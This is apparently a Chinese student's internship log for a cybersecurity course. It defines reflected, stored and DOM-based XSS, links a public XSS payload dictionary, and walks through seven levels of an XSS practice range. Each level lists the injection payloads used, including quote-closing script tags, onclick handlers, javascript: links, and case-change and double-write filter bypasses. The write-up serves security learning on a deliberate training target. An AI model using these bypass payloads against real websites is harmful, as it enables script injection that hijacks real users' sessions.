毕业实习任务DAY4

小结

XSS漏洞:由于Web应用程序对用户输入的数据没有进行充分的验证和过滤。攻击者可以利用这一漏洞,将恶意脚本代码嵌入到用户输入的数据中,例如如表单提交、URL参数、Cookie等。当这些数据被Web应用程序接收并嵌入到网页中时,恶意脚本就会被执行。

任务一、 总结反射型、存储型、DOM型XSS特点和区别

反射性XSS:也被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞

DOM型XSS:传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。(是特殊的反射型XSS)

存储型XSS:当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击

区别:

反射型XSS

存储型XSS

DOM型XSS

执行位置

前端浏览器

后端服务器

前端浏览器

持久性

非持久性

持久性

非持久性

攻击对象

特定用户

所有访问页面用户

特定用户

任务2、上网搜索一份XSS 的fuzz字典或字典生成工具(可选)

https://github.com/TheKingOfDuck/easyXssPayload/blob/master/easyXssPayload.txt

任务三、 到XSS挑战靶场打靶,要求通过5关以上,通关越多,加分越多。

靶场(https://xss.tesla-space.com/

XSS常见的触发标签 http://t.csdnimg.cn/WRuuC

Level1

发现网页源代码有传参,并且显示payload长度

弹窗的指定函数(?)里写了“完成的不错” ,我们测试一下

将test替换为

<script>alert()</script>

Level2

能看到输入框的内容可修改,此时查看代码

发现提交的内容是””中的内容,最终执行时<>被html实体转义了,我们可以将””闭合掉

" <script>alert()</script> "

还是不对,因为前面还有与input的<,后面的>

">  <script>alert()</script>  <"

Level3

这一关和上一关看起来很像,尝试不对

查看网页源代码,仍然进行了html实体转义,但下面value处使用’’而非””

'>  <script>alert()</script>  <'

仍然不对,但’’没有被实体转义,我们使用不含><的触发条件

' onclick='alert()

,提交后再次点击输入框

Level4

">  <script>alert()</script>  <"

“ onclick=”alert()

(是2、3关的结合)

Level5

<script>alert()</script>

发现我的标签被截断,此处可使用<a>标签,当标签<a>被点击是就会触发执行跳转

<a href=javascript:alert()>test</a>

闭合一下

"> <a href=javascript:alert()>test</a> <"

Level6

"> <a Href=javascript:alert()>test</a> <"

改成大写有效果

Level7

将大写换成了小写,href/script也丢失了,我们可用双写法绕过

"> <a hrhrefef=javascrscriptipt:alert()>test</a> <"

  • 10
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值